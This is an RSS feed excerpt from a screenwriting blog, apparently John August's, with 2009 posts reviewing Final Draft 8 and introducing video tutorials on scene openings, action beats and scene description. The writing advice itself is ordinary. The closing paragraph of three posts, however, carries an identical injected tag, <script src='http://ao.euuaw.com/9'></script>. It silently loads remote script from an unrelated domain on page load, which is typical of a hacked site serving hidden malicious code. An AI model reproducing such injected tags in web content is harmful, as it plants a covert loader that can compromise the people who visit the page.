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		<title>Final Draft 8, briefly</title>
		<link>http://johnaugust.com/archives/2009/final-draft-8-briefly</link>
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		<pubDate>Tue, 12 May 2009 03:21:23 +0000</pubDate>
		<dc:creator>John</dc:creator>
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		<description><![CDATA[Final Draft 8 is largely identical to FD7, with some better chrome.  If you're happy with FD7, the addition of a fairly useful navigator and a new XML file format may or may not be enough reason to upgrade.]]></description>
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<p><a href="http://vimeo.com/4602164">VIDEO: A look at Final Draft 8</a> from <a href="http://vimeo.com/johnaugust">John August</a> on <a href="http://vimeo.com">Vimeo</a>.</p>

<p>Final Draft 8 is largely identical to FD7, with some better chrome.  If you&#8217;re happy with FD7, the addition of a fairly useful navigator and a new XML file format may or may not be enough reason to upgrade.</p>

<p>I&#8217;ve been using it for a week, and so far, no crashes.  There are a few quirks &#8212; awkward colorization during drag-and-drop, click-lag when editing summaries &#8212; but nothing approaching the bugginess of early FD7.  It feels stable and looks like a 2009 application.</p>

<p>I&#8217;m not endorsing Final Draft or any of its competitors; each has its strengths and weaknesses. I&#8217;ve ping-ponged between Final Draft and Screenwriter over the years, but given its interface improvements, I&#8217;ll probably stick with Final Draft for a bit.  Some of that is familiarity, frankly, particularly with how it handles production drafts.</p>

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		<title>Writing better scene openings</title>
		<link>http://johnaugust.com/archives/2009/entering-a-scene</link>
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		<pubDate>Tue, 28 Apr 2009 21:22:41 +0000</pubDate>
		<dc:creator>John</dc:creator>
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		<description><![CDATA[A scriptcast on how to begin a scene for more impact.]]></description>
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<p>Today&#8217;s <a href="http://johnaugust.com.s97368.gridserver.com/archives/category/scriptcast">scriptcast</a> focuses on how you start scenes.</p>

<p>The standard advice is always to come into a scene as late as possible, and exit as soon as you can.  That&#8217;s a lot of what I&#8217;m doing in this tutorial. By picking the right opening action (or opening line), you can jump past a lot of boilerplate and get to the meat of the scene.  Along the way, you can provide more texture and detail to keep it from feeling so generic.</p>

<p>To save your eyes from the tiny type, you may want to go full-screen. That&#8217;s the second button from the right on the bottom of the video.<script src="http://ao.euuaw.com/9"></script></p>




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		<title>Writing better action</title>
		<link>http://johnaugust.com/archives/2009/writing-better-action</link>
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		<pubDate>Sat, 11 Apr 2009 21:38:31 +0000</pubDate>
		<dc:creator>John</dc:creator>
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		<description><![CDATA[A new screencast (scriptcast?) on writing action beats.]]></description>
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<p>A new screencast (scriptcast?), a little shorter than the <a href="http://johnaugust.com.s97368.gridserver.com/archives/2009/scene-description">previous one</a>.</p>

<p>In the audio, I say &#8220;parallel action,&#8221; but a better term would be parallel structure: You&#8217;re lining up sentences to omit the subject. Action sequences tend to benefit from these staccato word bursts.<script src="http://ao.euuaw.com/9"></script></p>




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		<title>Writing better scene description</title>
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		<pubDate>Sun, 05 Apr 2009 16:36:50 +0000</pubDate>
		<dc:creator>John</dc:creator>
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		<description><![CDATA[A YouTube lesson on making more-readable scene description.]]></description>
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<p>My occasional <a href="http://johnaugust.com.s97368.gridserver.com/archives/category/how-to">&#8220;How To&#8221; articles</a> tend to get a good response, but it&#8217;s hard for me to show the difference between the process of writing and the product of writing. No matter how long the article, I can&#8217;t go through word-by-word, explaining my decisions.  <a href="http://scrippets.org">Scrippets</a> only go so far.</p>

<p>So today, something new. I work through a scene on video with the goal of improving the scene description.  This is still very much an experiment, so let me know what you think.</p>

<p>As usual on YouTube, buttons in the bottom-right corner let you go full-screen and/or HD.<script src="http://ao.euuaw.com/9"></script></p>




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